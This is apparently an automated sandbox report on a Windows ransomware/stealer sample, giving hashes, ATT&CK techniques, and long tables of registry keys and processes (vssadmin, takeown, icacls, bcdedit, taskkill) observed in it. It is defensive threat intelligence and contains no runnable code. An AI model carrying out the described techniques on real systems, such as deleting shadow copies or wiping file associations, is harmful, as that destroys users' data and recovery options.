1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813

Reason

Machine shutdown

General

Target

1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe
Size

86KB
MD5

226213909fea9a07e66f734dedfb2d1d
SHA1

218d7e3178a60ad08abebc68bb462773a6f80b38
SHA256

1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813
SHA512

ecb0c2a7fc5ee54168dedd4f67a626ce3fea7ec977b65bb59fed36b48f1d2c20407228ad96e14969c58976e6a98ffd33399ea6f0b15ed6ba5568ce26abbfdce3

Score

10^/10

adware discovery exploit persistence ransomware stealer

Malware Config

Signatures

Adds autorun key to be loaded by Explorer.exe on startup 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Modifies system executable filetype association 2 TTPs 45 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\ShellEx\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shellex\IconHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\OpenContainingFolderMenu	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\ShellEx\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\ShellEx\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\CLSID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shellex\DropHandler	reg.exe

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies Installed Components in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1428 takeown.exe
1628 icacls.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1428 takeown.exe
1628 icacls.exe

pid	process
1428	takeown.exe
1628	icacls.exe

pid	process
1428	takeown.exe
1628	icacls.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe

Installs/modifies Browser Helper Object 2 TTPs
BHOs are DLL modules which act as plugins for Internet Explorer.
stealer adware

Modify Registry
T1112

Browser Extensions
T1176
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1960 bcdedit.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1960	bcdedit.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

reg.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe

Enumerates system info in registry 2 TTPs 64 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

reg.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus\0000	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus\0000	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus\0000	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	reg.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	reg.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	reg.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1936 vssadmin.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1668 taskkill.exe
1328 taskkill.exe

pid	process
1936	vssadmin.exe

pid	process
1668	taskkill.exe
1328	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{6bf52a52-394a-11d3-b153-00c04f79faa6}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm5a.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\UnattendBackup\ShowLeftAddressToolbar	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\485e98c2_0	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BA60F742-6F72-11d2-875F-00A0C93C09B3}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CC7DA087-B7F4-4829-B038-DA01DFB5D879}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{E56CCB42-598C-462D-9AD8-4FD5B4498C5D}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{1141B704-053E-11D0-9DF0-00C04FD7BF41}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{40F8967E-34A6-474A-837A-CEC1E7DAC54C}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\UrlTemplate	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{7A12547F-B772-4F2D-BE36-CE5D0FA886A1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\HTTP\GENABLE	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{DA986D7D-CCAF-47B2-84FE-BFA1549BEBF9}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm5k.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\ErrorThresholds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\UnattendBackup\ActiveSetup\CompanyName	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\UnattendBackup\DisableDevTools	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Help_Menu_URLs	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\International\Scripts\23	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\International\Scripts\32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{06E58E5E-F8CB-4049-991E-A41C03BD419E}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6DDE3061-736C-11D2-A5E8-00A0C967A25F}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A95845D8-8463-4605-B5FB-4F8CFBAC5C47}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm79.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm4a.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm6z.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_ENABLE_SCRIPT_PASTE_URLACTION_IF_PROMPT	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{0DAD5531-BF31-43AC-A513-1F8926BBF5EC}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A123D693-256A-11d0-9DFE-00C04FD7BF41}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{D9BB4CEE-B87A-47F1-AC92-B08D9C7813FC}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{00020900-0000-0000-c000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_LEGACY_DISPPARAMS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{208DD6A3-E12B-4755-9607-2E39EF84CFC5}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m2ts	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_DISABLE_MK_PROTOCOL	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\Restriction Policies\Hashes\F14D6E86C5FEC67242111D83EEA3214170C09FF6	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{D256B2D9-9C58-445A-8C38-C3AAA84EF137}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{369303C2-D7AC-11D0-89D5-00A0C90833E6}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{C46C1BE2-3C52-11D0-9200-848C1D000000}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CB4276E6-7D5F-4CF1-9727-629C5E6DB6AE}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\BROWSE\SMOOTH_SCROLLING	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\International\Scripts\25	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{0002E532-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{1D95A7C7-3282-4DB7-9A48-7C39CE152A19}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\SITECERT	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{E15A8DC0-8516-42A1-81EA-DC94EC1ACF10}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm6a.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\UnattendBackup\MSCompatibilityMode	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\Restriction Policies\Hashes\1629BFB58E16192F41A50816D8448C301989E007	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\Restriction Policies\Hashes\392495FF02597715601FD2C4AE18D00261A01C62	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{C533ADF1-0C80-11d1-8C54-00A02468F316}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.au	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{AA13BD85-7EC0-4CC8-9958-1BB2AA32FD0B}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_DISABLE_ISO_2022_JP_SNIFFING	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security\DPA	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Download	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{1CB1623E-BBEC-4E8D-B2DF-DC08C6F4627C}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{2EFF8C97-F2A8-4395-9F47-9A06F998BF88}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9CD64701-BDF3-4D14-8E03-F12983D86664}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{1A8AC5E1-7AAC-47E9-8D8F-1D4B499F83CE}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\RunDLl32Policy\cnmsm5d.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{7849596a-48ea-486e-8937-a2a3009f31a9}	reg.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\SystemHand\Garden	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\FaxBeep\Delta	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\PrintComplete\Savanna	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\DisNumbersSound\Quirky	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Fax\UserInfo	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\.Default\Landscape	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\WindowsLogoff\Festival	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\Explorer\FaxError\Raga	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\SQMClient\Reliability\AdaptiveSqm\ManifestInfo	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Fax	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\WindowsLogoff\Delta	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\Explorer\FeedDiscovered	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\SystemExclamation\Heritage	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Control Panel\Input Method\Hot Keys\00000012	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Control Panel\Input Method\Hot Keys\00000072	reg.exe
